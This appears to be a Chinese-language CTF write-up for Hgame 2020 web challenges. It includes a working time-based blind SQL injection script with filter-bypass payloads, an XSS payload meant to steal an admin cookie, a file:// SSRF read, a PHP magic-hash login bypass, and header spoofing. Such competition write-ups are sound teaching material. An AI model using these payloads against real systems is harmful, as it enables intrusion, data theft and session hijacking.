不完整的Hgame2020-CTF的WP
2020-杭电HgameWP
2020年Hgame比赛WP
由于我过于菜鸡,只能打到week2了…orz
[TOC]
week-1
Cosmos 的博客
考察点
/.git
信息泄露
过程
在首页中提示了出题人在github上保存了原代码。
尝试访问http://cosmos.hgame.n3ko.co/.git/config
。得到项目保存的地址。
最后在https://github.com/FeYcYodhrPDJSru/8LTUKCL83VLhXbc/commit/f79171d9c97a1ab3ea6c97b3eb4f0e1551549853
的历史记录中得到base64后的flag。
hgame{g1t_le@k_1s_danger0us_!!!!}
接 头 霸 王
考察点
请求头
过程
类似于2019极客大挑战的 神秘的三叶草 一题。
但值得注意的是,这道题还考察了一个请求参数If-Unmodified-Since:<time>
简单来说,这个参数的作用是进行一个判断:
如果 (在`<time>`时间点之后,文件没有被修改) 则
下载文件
否则
返回412错误
还有一个比较相似的参数If-Modified-Since:<time>
和If-Unmodified-Since:<time>
是反着来的:
如果 (在`<time>`时间点之后,文件修改过了) 则
下载文件
否则
返回304错误
在这道题只需将请求头修改即可:
POST http://kyaru.hgame.n3ko.co/ HTTP/1.1
Host: kyaru.hgame.n3ko.co
Referer: https://vidar.club
X-Forwarded-For: 127.0.0.1
User-Agent: Cosmos/114514
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Unmodified-Since: Fri, 01 Jan 1077 00:00:00 GMT
Content-Length: 0
PS:这道题最开始使用GET请求即可,但后面不知道为什么又改成了POST
hgame{W0w!Your_heads_@re_s0_many!}
PSS:
至于为什么一定是If-Unmodified-Since
…
可能只是出题人单纯检测了一下请求?
亦或者是其它方式?好奇后端是怎么实现的…
Code World
考察点
响应
过程
初次打开返回了403,页面为new.php,且打开比较慢,便怀疑有页面重定向。
尝试抓包发现果然如此,并提示了405错误。说明请求方式有误,尝试POST请求。
请求后出现这样一段话(已格式化):
<center>
<h1>人鸡验证</h1>
<br>
<br>
目前它只支持通过url提交参数来计算两个数的相加,参数为a
<br>
<br>
现在,需要让结果为10
</center>
则提交:
POST http://codeworld.hgame.day-day.work/?a=5%2B5 HTTP/1.1
Host: codeworld.hgame.day-day.work
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
即可获得flag
这里需要注意的是,一般浏览器里会把+
认为是空格,这时候提交%2B
即可。
hgame{C0d3_1s_s0_S@_sO_C0ol!}
🐔尼泰玫
考察点
抓包改包
(js代码审计)
方法一
在游戏过程中进行抓包,发现了一条奇怪的请求
POST http://cxk.hgame.wz22.cc/submit HTTP/1.1
Host: cxk.hgame.wz22.cc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 42
score=400|68ae153a367158c60103d39d867c365a
这里score=400便是我这次游戏的分数,后面的一串数据之后的代码审计解释。
我们进行改包,将400改为他所要求的30000便会得到alert
的flag了。
hgame{j4vASc1pt_w1ll_tel1_y0u_someth1n9_u5efu1?!}
方法二
这里我们对游戏的js代码进行审计
在game.js
中发现这样一段(已格式化)
gameOver()
{
let po = "ejIy";
let rt = po + "LmNj";
let rou = "L3N1Ym";
let sche = "aHR0c";
let k = "c2Nv";
let me = sche + "DovL2N";
clearInterval(this.timer)
this.context.clearRect(0, 0, this.canvas.width, this.canvas.height)
let stamp = md5(Date.parse(new Date()) / 1000);
this.globalScore = this.globalScore + this.storageScore;
this.context.font = '32px Microsoft YaHei'
this.context.fillStyle = '#000'
this.context.fillText('CXK,你球掉了!得分:' + this.globalScore, 404, 226)
$("#ballspeedset").removeAttr("disabled"); let s = this.globalScore;
(
function ()
{
let getU = me + "4ay5oZ";
let rl = getU + "2FtZS53";
let te = rou + "1pdA";
let ey = k + "cmU=";
$.post(atob(rl + rt + te), atob(ey) + "=" + s + "|" + stamp, function (data) { alert(data); })
}
)();
this.globalScore = 0;
}
其中
let po = "ejIy";
let rt = po + "LmNj";
let rou = "L3N1Ym";
let sche = "aHR0c";
let k = "c2Nv";
let me = sche + "DovL2N";
let getU = me + "4ay5oZ";
let rl = getU + "2FtZS53";
let te = rou + "1pdA";
let ey = k + "cmU=";
$.post(atob(rl + rt + te), atob(ey) + "=" + s + "|" + stamp, function (data) { alert(data); })
//其中(长见识了((()
//rl=getUrl, rt=port, te=route, ey=key
//base64解码后发现完整的post方法为
$.post("http://cxk.hgame.wz22.cc/submit", "score" + "=" + s + "|" + stamp, function (data) { alert(data); })
//即向 http://cxk.hgame.wz22.cc/submit 发送数据score=s|stamp,之后返回的数据会以alert的形式输出
//其中s为我们的游戏分数
//stamp为
let stamp = md5(Date.parse(new Date()) / 1000);
在分析完代码后,我们便可以修改js源码,伪造数据,获得flag
hgame{j4vASc1pt_w1ll_tel1_y0u_someth1n9_u5efu1?!}
week-2
Cosmos的博客后台
考察点
逻辑漏洞
一些php的函数缺陷
过程
在最开始可以得到一个登录页面。随即可以发现url疑似可以进行文件包含。
http://cosmos-admin.hgame.day-day.work/index.php?action=login.php
将login.php
替换为根目录下的/flag
返回了Hacker get out
应该是被过滤了。
尝试用php伪协议中的php://filter/read
来进行php源码的读取。
得到login.php
和index.php
的源码。在login.php
源码里顺藤摸瓜得到了admin.php
文件源码。在其中还知道了一个config.php
文件,但被过滤了,无法读取。
PS:方便起见这里只展示php源码。
login.php
<?php
include "config.php";
session_start();
//Only for debug
if (DEBUG_MODE){
if(isset($_GET['debug'])) {
$debug = $_GET['debug'];
if (!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $debug)) {
die("args error!");
}
eval("var_dump($$debug);");
}
}
if(isset($_SESSION['username'])) {
header("Location: admin.php");
exit();
}
else {
if (isset($_POST['username']) && isset($_POST['password'])) {
if ($admin_password == md5($_POST['password']) && $_POST['username'] === $admin_username){
$_SESSION['username'] = $_POST['username'];
header("Location: admin.php");
exit();
}
else {
echo "??¨??·???????ˉ?? ?é??èˉˉ";
}
}
}
?>
index.php
<?php
error_reporting(0);
session_start();
if(isset($_SESSION['username'])) {
header("Location: admin.php");
exit();
}
$action = @$_GET['action'];
$filter = "/config|etc|flag/i";
if (isset($_GET['action']) && !empty($_GET['action'])) {
if(preg_match($filter, $_GET['action'])) {
echo "Hacker get out!";
exit();
}
include $action;
}
elseif(!isset($_GET['action']) || empty($_GET['action'])) {
header("Location: ?action=login.php");
exit();
}
admin.php
<?php
include "config.php";
session_start();
if(!isset($_SESSION['username'])) {
header('Location: index.php');
exit();
}
function insert_img() {
if (isset($_POST['img_url'])) {
$img_url = @$_POST['img_url'];
$url_array = parse_url($img_url);
if (@$url_array['host'] !== "localhost" && $url_array['host'] !== "timgsa.baidu.com") {
return false;
}
$c = curl_init();
curl_setopt($c, CURLOPT_URL, $img_url);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($c);
curl_close($c);
$avatar = base64_encode($res);
if(filter_var($img_url, FILTER_VALIDATE_URL)) {
return $avatar;
}
}
else {
return base64_encode(file_get_contents("static/logo.png"));
}
}
?>
<?php echo insert_img() ? insert_img() : base64_encode(file_get_contents("static/error.jpg")); ?>
可以看到,从index.php
的文件包含来获取flag是不太可能了,只能找其它方法。
在admin.php
中我们可以看到有一个利用base64来读取远程和本地图片的脚本。或许我们可以对其进行利用。但首先我们需要用管理员账号登录上去。
随后便可以找到登录验证的代码:
if ($admin_password == md5($_POST['password']) && $_POST['username'] === $admin_username)
{
$_SESSION['username'] = $_POST['username'];
header("Location: admin.php");
exit();
}
else
{
echo "??¨??·???????ˉ?? ?é??èˉˉ";
}
这样,我们就要想办法得到两个变量的值$admin_password
,admin_username
。
还不难注意到在login.php
中有一个debug-mode,只要输入变量,他就会执行eval(“var_dump($$debug);”);来显示变量。这正是我们需要的。
得到了账号和md5后的密码:
username:Cosmos!
MD5(password):0e114902927253523756713132279690
可以看到MD5后的密码是0e+数字
,且比较时也不是严格比较,所以可以绕过。
登录后来到admin.php
页面,分析php源码,得到几个重要函数:
filter_var($img_url, FILTER_VALIDATE_URL);
//这是一个过滤器函数,通过过滤器来返回过滤的部分。
parse_url($img_url);
/*
这个函数是将一个url拆解为几个部分,如下的url会被拆解为几个部分:
http://username:password@hostname/path?arg=value#anchor
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)
*/
在admin.php
,中有这么一段代码
$img_url = @$_POST['img_url'];
$url_array = parse_url($img_url);
...
if (@$url_array['host'] !== "localhost" && $url_array['host'] !== "timgsa.baidu.com")
{
return false;
}
它明确要求了文件的host来自localhost
或timgsa.baidu.com
,否则会导致函数返回false
。我们可以使用file协议使条件符合:file://localhost/flag
PS:理论上,file协议也是有host部分的,但这个协议本身就是解析本地文件的,所以被省略了。但还是需要注意host部分必须是localhost,否则会出错。
PSS:在我windows本地环境中使用以下php脚本:
<?php
$url = 'file://localhost/D:/114514.txt';
print_r(parse_url($url));
$c = curl_init();
curl_setopt($c, CURLOPT_URL, $url);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($c);
curl_close($c);
if(filter_var($url, FILTER_VALIDATE_URL))
{
print('working');
echo $res;
}
?>
/*
Output:
Array
(
[scheme] => file
[host] => localhost
[path] => /D:/114514.txt
)
working
当$url='file:///D:/114514.txt';时
Array
(
[scheme] => file
[path] => /D:/114514.txt
)
workingいいよ!こいよ!
*/
不知道为什么链接解析成功了,但没有114514.txt
的文件内容。在5.2.17和7.3.4的环境都试过了,都不行…但在题目中使用file://localhost/flag
是可以得到文件内容的…
总之得到了flag:
hgame{pHp_1s_Th3_B3sT_L4nGu4gE!@!}
Cosmos的留言板-1
考察点
sql时间盲注(或许?
过程
说来丢人,这道题最开始手注了很长时间,一直都没有成功。无奈之下使用了sqlmap,发现可以使用时间盲注。
这道题过滤了select
和空格,不过不是大问题,select
大写或双写绕过、空格用/**/
绕过。但让我费解的是#
和--+
虽然没有被过滤,但似乎并没有被sql解析…不知道为什么。不过还是有办法的,用AND/**/'1
即可。
那不多说了,直接上脚本:
import requests
mode = input("plz input use mode:")
while(True):
if(mode == 'T'):
payload = '1\'UNION/**/SELECT(if((ascii(substr((SELECT/**/group_concat(TABLE_NAME)/**/FROM/**/information_schema.TABLES/**/WHERE/**/TABLE_SCHEMA=database()),%s,1))=%s),sleep(10),1))/**/AND/**/\'1'
break
elif(mode == 'C'):
tab = input('plz input tables_name:')
payload = '1\'UNION/**/SELECT(if((ascii(substr((SELECT/**/group_concat(COLUMN_NAME)/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x'+tab.encode('UTF-8').hex()+'),%s,1))=%s),sleep(10),1))/**/AND/**/\'1'
break
elif(mode == 'F'):
tab = input('plz input tables_name:')
col = input('plz input col_name:')
payload = '1\'UNION/**/SELECT(if((ascii(substr((SELECT/**/'+ col +'/**/FROM/**/'+ tab +'),%s,1))=%s),sleep(10),1))/**/AND/**/\'1'
break
elif(mode != 'F'|'C'|'T'):
print('Error')
url = 'http://139.199.182.61/index.php?id='
res = ''
sel_num = input("plz input sel_num:")
for i in range(1,int(sel_num)):
print(i)
for j in range(32,127):
now_payload = payload % (i,j)
now_url = url + now_payload
try:
r = requests.get(url=now_url,timeout=4.5)
except:
res += chr(j)
print(res)
break
print(res)
a = input("按任意键退出")
exit()
# 查到两个表:f1aggggggggggggg,messages
# flag表中只有一列:fl4444444g
# 得到flag:hgame{w0w_sql_InjeCti0n_Is_S0_IntereSting!!}
PS:这个脚本是我根据swpuctf的脚本改编的,修正了上一个脚本的小错误(顺便小小优化了一下代码,避免没必要的操作。
hgame{w0w_sql_InjeCti0n_Is_S0_IntereSting!!}
Cosmos的新语言
考察点
脚本编写
过程
这道题就是写脚本,首先在主页中可以看到一串变换的字符串,在./mycode
中就知道这是token加密后的密文。只有当post的token和服务器的token对应即可获得flag。比较坑的一点是,只有深入尝试后才能知道这道题变化的不只有token,还有加密方式。
8说了,上我辣鸡的python脚本:
import base64
import requests
import re
import codecs
catchPasswd = str(requests.get("http://7bf62224db.php.hgame.n3ko.co/").text)
# 得密文
catchCrypt = str(requests.get("http://7bf62224db.php.hgame.n3ko.co/mycode").text)
# 得加密方法
catchPasswd = re.sub(r'(^.*\s)(.*\s)</span>(.*\s)</code><br>.*\s', "", catchPasswd)
catchPasswd = re.sub(r'<br>(.*\s)(.*\s)(.*\s)</html>', "", catchPasswd)
# 正则消去无用部分
catchCrypt = re.sub(r'(.*\s)(.*\s)(.*\s)echo\(', "", catchCrypt)
catchCrypt = re.sub(r'function(.*\s)(.*\s)(.*\s)(.*\s)(.*\s)', "", catchCrypt)
catchCrypt = re.sub(r'\)\)\)\)\)\)\)\)\)\)\);(.*\s).*\s}', "", catchCrypt)
# 令人智熄的正则(((
crypt = catchCrypt.split("(", 10)
# 以‘(’为界限,把字符串分割
passwd = catchPasswd
def strrev(string):
result = ''.join(reversed(string))
return str(result)
def decrypt(string):
result = ''
for i in range(0,len(string)):
result += chr(ord(string[i]) - 1)
return str(result)
def base64_decode(string):
result = base64.b64decode(string).decode('utf-8')
return str(result)
def str_rot13(string):
result = codecs.getencoder("rot-13")(string)
return result[0]
# 各个加密的函数
for i in range(0, 10):
if(crypt[i] == 'strrev'):
passwd = strrev(passwd)
elif(crypt[i] == 'str_rot13'):
passwd = str_rot13(passwd)
elif(crypt[i] == 'base64_encode'):
passwd = base64_decode(passwd)
elif(crypt[i] == 'encrypt'):
passwd = decrypt(passwd)
# 解密部分,因为固定加密10次,所以循环判断10次即可
send = requests.post("http://7bf62224db.php.hgame.n3ko.co/", data={'token' : passwd })
print(send.text)
# 打印输送token后得到的网页
得到flag:
hgame{5!MPLe-$criPT~WITh_pyThon~OR~PHp}
Cosmos的聊天室
考察点
XSS
md5截断验证
过程
这道题的过滤方式很有趣:
1.循环过滤<>
以及其之间的所有字符
2.script
会变为HI THERE!
3.所有的字符大写
不过即使如此也可以进行XSS
<img src=1 onerror='alert(1)'<
<!- 即:<img src=1 onerror='alert(1)'> ->
1.根据html不严谨的语法规则,即使没有>
封闭语句也可以正常显示
PS:后端的python代码好像还帮忙补全了后面的<
(((
2.使用img
标签和onerror
事件来避免使用script
字符串
3.使用实体编码&#(ascii十进制);
来规避字符的大写
这样就可以盗取管理员的cookie来查看flag了
还有,关于实体编码网上还没有可以直接白嫖的,自己拿C瞎打了一个
(感觉用C更简单(bin选手憋喷我(
#include <stdio.h>
int main()
{
char a=0;
while(1)
{
scanf("%c", &a);
if(a != 0x0A)
printf("&#%d;", a);
}
return 0;
}
另外,想让管理bot点击页面,还需要发送一段md5截断验证
这里直接给白嫖的python脚本(还是多线程的:
import hashlib
from multiprocessing.dummy import Pool as ThreadPool
def md5(s): # 计算MD5字符串
return hashlib.md5(str(s).encode('utf-8')).hexdigest()
keymd5 = input("set:")
md5start = 0
md5length = 6
def findmd5(sss):
#已知的md5截断值 # 设置题目已知的截断位置 # 输入范围 里面会进行md5测试
key = sss.split(':')
start = int(key[0])
end = int(key[1])
# 开始位置 # 结束位置
result = 0
for i in range(start, end):
if md5(i)[0:6] == keymd5:
result = i
print(result)
break
list=[] # 参数列表
for i in range(10):
pool = ThreadPool() # 打印 # 拿到加密字符串 # 多线程的数字列表 开始与结尾
list.append(str(100000000*i) + ':' + str(100000000*(i+1))) # 多线程任务
pool.map(findmd5, list) # 函数 与参数列表
pool.close()
pool.join()
得到token:f802788a02a51f9c624bb5d91815b
得到flag:
hgame{xsS_1s_r3a11y_inTeresT1ng!!}